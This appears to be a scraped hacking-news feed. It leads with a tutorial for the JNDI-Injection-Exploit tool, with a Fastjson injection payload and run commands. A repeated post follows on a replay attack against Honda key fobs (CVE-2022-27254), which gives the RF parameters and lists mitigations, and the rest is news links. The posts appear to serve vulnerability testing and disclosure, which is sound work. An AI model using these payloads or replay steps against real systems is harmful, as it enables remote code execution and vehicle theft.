Kali Linux Tutorials
JNDI-Injection-Exploit : A Tool Which Generates JNDI Links Can Start Several Servers

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server, LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/Object”,”autoCommit”:true}

We can replace “rmi://127.0.0.1:1099/Object” with the link generated by JNDI-Injection-Exploit to test vulnerability.

Usage

Run as

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

where:

* -C – command executed in the remote classfile.(optional , default command is “open /Applications/Calculator.app”)
* -A – the address of your server, maybe an IP address or a domain.(optional , default address is the first network interface address)

Points for attention:

* make sure your server’s ports (1099, 1389, 8180) are available .or you can change the default port in the run.ServerStart class line 26~28.
* your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec().Command in bash like “bash -c ….” need to add Double quotes.

Examples

Local demo:

* Start the tool like this:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /Applications/Calculator.app” -A “127.0.0.1”

* Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

In this example, it looks like this:

public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup(“rmi://127.0.0.1/fgf4fp”);
}

then when we run this code, the command will be executed ,

and the log will be printed in shell.

Installation

We can select one of the two methods to get the jar.

* Download the latest jar from Release.
* Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

$ cd JNDI-Injection-Exploit

$ mvn clean package -DskipTests
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Google Chrome 100 lanzado con nuevas funciones, íconos y más

https://cdn-images-1.medium.com/max/860/0*0iYOxcaSSN2pWBur
PUBLICADO EN 30 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Willkommen zum Oasis Bloom Hackathon!

https://cdn-images-1.medium.com/max/1400/1*PgcMYqJf0xXY3_GDgYDu6A.jpeg
Dieser Artikel ist eine inoffizielle Übersetzung der ursprünglichen Veröffentlichung. Die Übersetzung erfolgte durch Marvin, Oasis Labs…

Continue reading on Oasis Foundation German »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Avalanche Summit| Hackathon: Resumen y Ganadores de premios, impulsado por Encode Club

https://cdn-images-1.medium.com/max/1400/1*YwX2AL1XCTi6qEilqzHXPw.jpeg
Un resumen del Avalanche Summit Hackathon de 3 días, incluidos los ganadores, patrocinadores y fotos; escrito por Encode Club.

Continue reading on Avalanche en español »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
¿Qué puede decir tu navegador sobre ti?

https://cdn-images-1.medium.com/max/1612/0*jGBaR5xVD7nfxXtN
PUBLICADO EN 28 MARZO, 2022 POR MAURICIO MATIAS

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ronin Bridgeのハッキング — Huobi, FTX, Crypto.comでキャッシュアウトか?

https://cdn-images-1.medium.com/max/2600/1*V8kOkCQ9z7hLA62Plvir_g.jpeg
6億ドル超のデジタル資産を容易に監視。Uppsala Securityの最新暗号資産監視ソリューションの実力

Continue reading on Sentinel Protocol »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
hackingtool - ALL IN ONE Hacking Tool For Hackers

https://external-preview.redd.it/vC9MNOTkbF2wNxoLdruJbOPXyseS9_oJnkVOmrWjS6k.jpg?width=640&crop=smart&auto=webp&s=38d430627b209f23c6882316a39044a73be9a6a4 submitted by /u/binaryfor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone else worried about Spellcheckers selling your data?

Hi there,

was just thinking about the amount of information that spellcheckers gather. As soon as they see how much money google is making, how could they resist?

Are there any open source spellcheckers on the market?

cheers

LB

submitted by /u/Larriesbrother
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hackers Stole $625 million worth of cryptocurrency from famous NFT game Axie Infinity

https://external-preview.redd.it/DD7OhoRGJtCKYUhwpXOfLJd6S3ZPA1NRM8XORWB1Xw4.jpg?width=640&crop=smart&auto=webp&s=4d537b0c46fb8a6b8659aa5252c0a687699f2b2c submitted by /u/bradcpx
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

CVE-2022-27254 - PoC For Vulnerability In Honda's Remote Keyless System
http://www.kitploit.com/2022/03/cve-2022-27254-poc-for-vulnerability-in.html

___________________________
@hacking_Attack
@Hacking_Video

PoC for vulnerability (https://www.kitploit.com/search/label/Vulnerability) in Honda's Remote Keyless System(CVE-2022-27254) Disclaimer: For educational purposes only. Kindly note that the discoverers for this vulnerability are Ayyappan Rajesh (https://www.linkedin.com/in/ayyappan-rajesh/), a student at UMass Dartmouth and HackingIntoYourHeart (https://github.com/HackingIntoYourHeart/). Others mentioned in this repository are credited for the support that they have provided but have played no active role in any research (https://www.kitploit.com/search/label/Research) conducted related to this finding. If looking to publish these findings elsewhere, please refrain from associating this with any other persons, companies or institutions without any explicit approval. Summary: This is a proof of concept (https://www.kitploit.com/search/label/Proof%20Of%20Concept) for CVE-2022-27254 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27254), wherein the remote keyless system on various Honda vehicles send the same, unencrypted RF signal for each door-open, door-close, boot-open and remote start(if applicable). This allows for an attacker to eavesdrop (https://www.kitploit.com/search/label/Eavesdrop) on the request and conduct a replay attack.
POC videos (https://github.com/nonamecoder/CVE-2022-27254#poc-videos) Vehicles Affected: • 2016-2020 Honda Civic(LX, EX, EX-L, Touring, Si, Type R) Important Notes: •Key fob FCC ID: KR5V2X

•Key fob frequency: 433.215MHz

•Key fob modulation: FSK
Tools used: •FCCID.io
•HackRF One
•Gqrx
•GNURadio
Prevention: Manufacturers: Manufacturers must implement Rolling Codes, otherwise known as hopping code. It is a security technology commonly used to provide a fresh code for each authentication (https://www.kitploit.com/search/label/Authentication) of a remote keyless entry (RKE) or passive keyless entry (PKE) system. Consumers: Utilize a Faraday Pouch for the key fob. Use the PKE as opposed to the RKE, this would make it significantly harder for an attacker to clone/read the signal due to the proximity they would need to be at to do so. The precautions mentioned above ARE NOT foolproofIf you believe that you are a victim of this attack, the only current mitigation is to reset your key fob at the dealership. Credits: •Ayyappan Rajesh(nonamecoder) (https://www.linkedin.com/in/ayyappan-rajesh/) •HackingIntoYourHeart (https://github.com/HackingIntoYourHeart/) Special thanks to: • My professor :Prof. Hong Liu (https://www.umassd.edu/directory/hliu/) • My mentor:Sam Curry (https://www.linkedin.com/in/currysam) •My professor :Prof. Ruolin Zhou (https://www.umassd.edu/directory/rzhou1/) References: •https://www.youtube.com/watch?v=1RipwqJG50c •https://attack.mitre.org/techniques/T1040/

Download CVE-2022-27254 (https://github.com/nonamecoder/CVE-2022-27254)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
CISA, DOE Warn of Attacks on Uninterruptible Power Supply (UPS) Devices

Take UPS management interfaces off the Internet "immediately," agencies say.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
El mayor hackeo de criptomonedas de la historia acaba con el robo de 600 millones y es difícil…

https://cdn-images-1.medium.com/max/1654/0*DmfI7G3hYl6qAFJR
PUBLICADO EN 30 MARZO, 2022 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacker101 Micro-CMS v1 CTF Walkthrough

https://cdn-images-1.medium.com/max/1400/1*_kMQQSns6ua8kROTgFyxrQ.jpeg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
CVE-2022-27254 - PoC For Vulnerability In Honda's Remote Keyless System

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCXFYec5Q2ebxFWm-Yo494Ag7n0XJZz-7pV-6hdgf5Lm8KWzhB1kWvT7sp9_fJyPgyaG-6B-JufZnkf3NThbM37mILf3YJB5nJCyPE3RD7tOf7OS-u7BRzhMrn2IaZVV_wSqjIz4INlgJ9w-kEIVBTFsq6sCMoWa0dxIaI0EiZ_hdZrHrDz4FlhFjw/w400-h320/CVE-2022-27254.png PoC for vulnerability in Honda's Remote Keyless System(CVE-2022-27254) Disclaimer:For educational purposes only. Kindly note that the discoverers for this vulnerability are Ayyappan Rajesh, a student at UMass Dartmouth and HackingIntoYourHeart.

Others mentioned in this repository are credited for the support that they have provided but have played no active role in any research conducted related to this finding. If looking to publish these findings elsewhere, please refrain from associating this with any other persons, companies or institutions without any explicit approval. Summary:This is a proof of concept for CVE-2022-27254, wherein the remote keyless system on various Honda vehicles send the same, unencrypted RF signal for each door-open, door-close, boot-open and remote start(if applicable). This allows for an attacker to eavesdrop on the request and conduct a replay attack. POC videosVehicles Affected:• 2016-2020 Honda Civic(LX, EX, EX-L, Touring, Si, Type R) Important Notes:•Key fob FCC ID: KR5V2X

•Key fob frequency: 433.215MHz

•Key fob modulation: FSK Tools used:•FCCID.io
•HackRF One
•Gqrx
•GNURadio Prevention:*
Manufacturers:

1. Manufacturers must implement Rolling Codes, otherwise known as hopping code. It is a security technology commonly used to provide a fresh code for each authentication of a remote keyless entry (RKE) or passive keyless entry (PKE) system.

*
Consumers:

1. Utilize a Faraday Pouch for the key fob.
2. Use the PKE as opposed to the RKE, this would make it significantly harder for an attacker to clone/read the signal due to the proximity they would need to be at to do so.
The precautions mentioned above ARE NOT foolproof

If you believe that you are a victim of this attack, the only current mitigation is to reset your key fob at the dealership. Credits:•Ayyappan Rajesh(nonamecoder)

•HackingIntoYourHeart Special thanks to:• My professor :Prof. Hong Liu

• My mentor:Sam Curry

•My professor :Prof. Ruolin Zhou References:•https://www.youtube.com/watch?v=1RipwqJG50c

•https://attack.mitre.org/techniques/T1040/ Download CVE-2022-27254

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
work relation

Has anyone gotten through bitlocker before? A customer brought in their laptop to be reset and have a fresh win10 installation but they stupidly put it through bitlocker and have no idea on what the code is to unlock it

submitted by /u/Djmii5tik4200
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video